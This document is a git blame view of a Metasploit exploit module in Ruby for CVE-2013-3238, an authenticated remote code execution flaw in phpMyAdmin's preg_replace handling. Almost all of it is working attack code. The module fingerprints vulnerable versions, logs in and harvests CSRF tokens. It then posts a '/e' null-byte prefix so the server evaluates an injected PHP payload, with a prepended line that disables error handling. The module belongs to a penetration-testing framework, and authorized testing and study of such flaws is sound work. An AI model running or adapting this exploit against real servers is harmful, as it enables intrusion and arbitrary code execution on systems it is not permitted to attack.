Files
metasploit-gs/modules/exploits/multi/http/phpmyadmin_preg_replace.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

189 lines
5.3 KiB
Ruby
Raw Normal View History

2013-04-26 14:32:18 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-04-26 14:32:18 +01:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-04-26 14:32:18 +01:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2013-04-26 14:32:18 +01:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
2013-04-26 14:32:18 +01:00
def initialize(info = {})
super(update_info(info,
2013-04-26 23:37:26 +01:00
'Name' => 'phpMyAdmin Authenticated Remote Code Execution via preg_replace()',
2013-04-26 15:12:58 -05:00
'Description' => %q{
2013-04-26 23:58:08 +01:00
This module exploits a PREG_REPLACE_EVAL vulnerability in phpMyAdmin's
replace_prefix_tbl within libraries/mult_submits.inc.php via db_settings.php
This affects versions 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3.
PHP versions > 5.4.6 are not vulnerable.
2013-04-26 14:32:18 +01:00
},
2013-04-26 15:12:58 -05:00
'Author' =>
2013-04-26 14:32:18 +01:00
[
'Janek "waraxe" Vind', # Discovery
'Ben Campbell' # Metasploit Module
2013-04-26 14:32:18 +01:00
],
2013-04-26 15:12:58 -05:00
'License' => MSF_LICENSE,
2023-03-22 12:52:15 +00:00
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
},
2013-04-26 15:12:58 -05:00
'References' =>
2013-04-26 14:32:18 +01:00
[
2013-04-26 15:41:28 +01:00
[ 'CVE', '2013-3238' ],
2013-04-27 10:35:49 +01:00
[ 'EDB', '25003'],
[ 'OSVDB', '92793'],
2013-04-26 15:41:28 +01:00
[ 'URL', 'http://www.waraxe.us/advisory-103.html' ],
2013-04-26 23:37:26 +01:00
[ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2013-2.php' ]
2013-04-26 14:32:18 +01:00
],
2013-04-26 15:12:58 -05:00
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
2013-04-26 14:32:18 +01:00
{
2013-04-26 19:19:11 +01:00
'BadChars' => "&\n=+%",
2013-04-26 15:12:58 -05:00
# Clear out PMA's error handler so it doesn't lose its mind
# and cause ENOMEM errors and segfaults in the destructor.
'Prepend' => "function foo($a,$b,$c,$d,$e){return true;};set_error_handler(foo);"
2013-04-26 15:41:28 +01:00
},
2013-04-26 15:12:58 -05:00
'Targets' =>
2013-04-26 14:32:18 +01:00
[
2013-04-26 15:41:28 +01:00
[ 'Automatic', { } ],
2013-04-26 14:32:18 +01:00
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2013-04-25'))
2013-08-30 16:28:54 -05:00
2013-04-26 14:32:18 +01:00
register_options(
[
2013-04-27 10:39:27 +01:00
OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
2013-04-26 14:32:18 +01:00
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
])
2013-04-26 14:32:18 +01:00
end
2013-08-30 16:28:54 -05:00
2013-04-26 14:32:18 +01:00
def check
2013-04-26 15:41:28 +01:00
begin
2013-04-27 10:35:49 +01:00
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
2013-04-26 15:41:28 +01:00
rescue
2014-01-21 14:10:35 -06:00
vprint_error("Unable to connect to server.")
2013-04-26 15:41:28 +01:00
return CheckCode::Unknown
end
2013-08-30 16:28:54 -05:00
2013-04-26 15:41:28 +01:00
if res.code != 200
2014-01-21 14:10:35 -06:00
vprint_error("Unable to query /js/messages.php")
2013-04-26 15:41:28 +01:00
return CheckCode::Unknown
end
2013-08-30 16:28:54 -05:00
2013-04-26 23:58:08 +01:00
php_version = res['X-Powered-By']
if php_version
2014-01-21 14:10:35 -06:00
vprint_status("PHP Version: #{php_version}")
2013-04-26 23:58:08 +01:00
if php_version =~ /PHP\/(\d)\.(\d)\.(\d)/
if $1.to_i > 5
return CheckCode::Safe
else
if $1.to_i == 5 and $2.to_i > 4
return CheckCode::Safe
else
if $1.to_i == 5 and $2.to_i == 4 and $3.to_i > 6
return CheckCode::Safe
end
end
end
end
2013-04-26 23:59:49 +01:00
else
2014-01-21 14:10:35 -06:00
vprint_status("Unknown PHP Version")
2013-04-26 23:58:08 +01:00
end
2013-08-30 16:28:54 -05:00
2013-04-26 15:41:28 +01:00
if res.body =~ /pmaversion = '(.*)';/
2013-04-26 23:58:08 +01:00
print_status("phpMyAdmin version: #{$1}")
2013-04-26 15:41:28 +01:00
case $1.downcase
when '3.5.8.1', '4.0.0-rc3'
return CheckCode::Safe
when '4.0.0-alpha1', '4.0.0-alpha2', '4.0.0-beta1', '4.0.0-beta2', '4.0.0-beta3', '4.0.0-rc1', '4.0.0-rc2'
2014-01-24 12:08:23 -06:00
return CheckCode::Appears
2013-04-26 15:41:28 +01:00
else
if $1.starts_with? '3.5.'
2014-01-24 12:08:23 -06:00
return CheckCode::Appears
2013-04-26 15:41:28 +01:00
end
2013-08-30 16:28:54 -05:00
2014-01-21 14:10:35 -06:00
return CheckCode::Detected
2013-04-26 15:41:28 +01:00
end
2013-04-26 14:32:18 +01:00
end
2014-01-21 14:10:35 -06:00
CheckCode::Safe
2013-04-26 14:32:18 +01:00
end
2013-08-30 16:28:54 -05:00
2013-04-26 14:32:18 +01:00
def exploit
2017-01-24 20:03:39 -06:00
# Always display target info
2017-01-24 19:50:13 -06:00
print_status(check[1])
2013-04-27 10:35:49 +01:00
uri = target_uri.path
2013-04-26 23:38:27 +01:00
print_status("Grabbing CSRF token...")
2013-04-26 14:32:18 +01:00
response = send_request_cgi({ 'uri' => uri})
if response.nil?
2013-08-15 14:14:46 -05:00
fail_with(Failure::NotFound, "Failed to retrieve webpage.")
2013-04-26 14:32:18 +01:00
end
2013-08-30 16:28:54 -05:00
2013-04-26 14:32:18 +01:00
if (response.body !~ /"token"\s*value="([^"]*)"/)
2013-08-15 14:14:46 -05:00
fail_with(Failure::NotFound, "Couldn't find token. Is URI set correctly?")
2013-04-26 14:32:18 +01:00
else
print_good("Retrieved token")
end
2013-08-30 16:28:54 -05:00
2013-04-26 14:32:18 +01:00
token = $1
post = {
'token' => token,
'pma_username' => datastore['USERNAME'],
'pma_password' => datastore['PASSWORD']
}
2013-08-30 16:28:54 -05:00
2013-04-26 14:32:18 +01:00
print_status("Authenticating...")
2013-08-30 16:28:54 -05:00
2013-04-26 14:32:18 +01:00
login = send_request_cgi({
'method' => 'POST',
2013-04-27 10:35:49 +01:00
'uri' => normalize_uri(uri, 'index.php'),
2013-04-26 14:32:18 +01:00
'vars_post' => post
})
2013-08-30 16:28:54 -05:00
2013-04-26 14:32:18 +01:00
if login.nil?
2013-08-15 14:14:46 -05:00
fail_with(Failure::NotFound, "Failed to retrieve webpage.")
2013-04-26 14:32:18 +01:00
end
2013-08-30 16:28:54 -05:00
2017-01-24 19:49:23 -06:00
if login.redirect?
token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first
else
fail_with(Failure::NotFound, "Couldn't find token. Wrong PMA version?")
end
2013-08-30 16:28:54 -05:00
2013-04-26 20:26:04 +01:00
cookies = login.get_cookies
2013-08-30 16:28:54 -05:00
2013-04-26 17:10:24 +01:00
login_check = send_request_cgi({
2013-04-27 10:35:49 +01:00
'uri' => normalize_uri(uri, 'index.php'),
2013-04-26 17:10:24 +01:00
'vars_get' => { 'token' => token },
2013-04-26 20:26:04 +01:00
'cookie' => cookies
2013-04-26 17:10:24 +01:00
})
2013-08-30 16:28:54 -05:00
2013-04-26 17:10:24 +01:00
if login_check.body =~ /Welcome to/
2017-07-21 07:41:51 -07:00
fail_with(Failure::NoAccess, "Authentication failed")
2013-04-26 17:10:24 +01:00
else
print_good("Authentication successful")
2013-04-26 14:32:18 +01:00
end
2013-08-30 16:28:54 -05:00
2013-04-26 15:41:28 +01:00
db = rand_text_alpha(3+rand(3))
2017-01-24 19:49:34 -06:00
send_request_cgi({
2013-04-27 10:35:49 +01:00
'uri' => normalize_uri(uri, 'db_structure.php'),
2013-04-26 19:19:11 +01:00
'method' => 'POST',
2013-04-26 20:26:04 +01:00
'cookie' => cookies,
2013-04-26 19:19:11 +01:00
'vars_post' => {
'query_type' => 'replace_prefix_tbl',
'db' => db,
'selected[0]' => db,
'token' => token,
'from_prefix' => "/e\0",
'to_prefix' => payload.encoded,
'mult_btn' => 'Yes'
}
},1)
2013-04-26 14:32:18 +01:00
end
end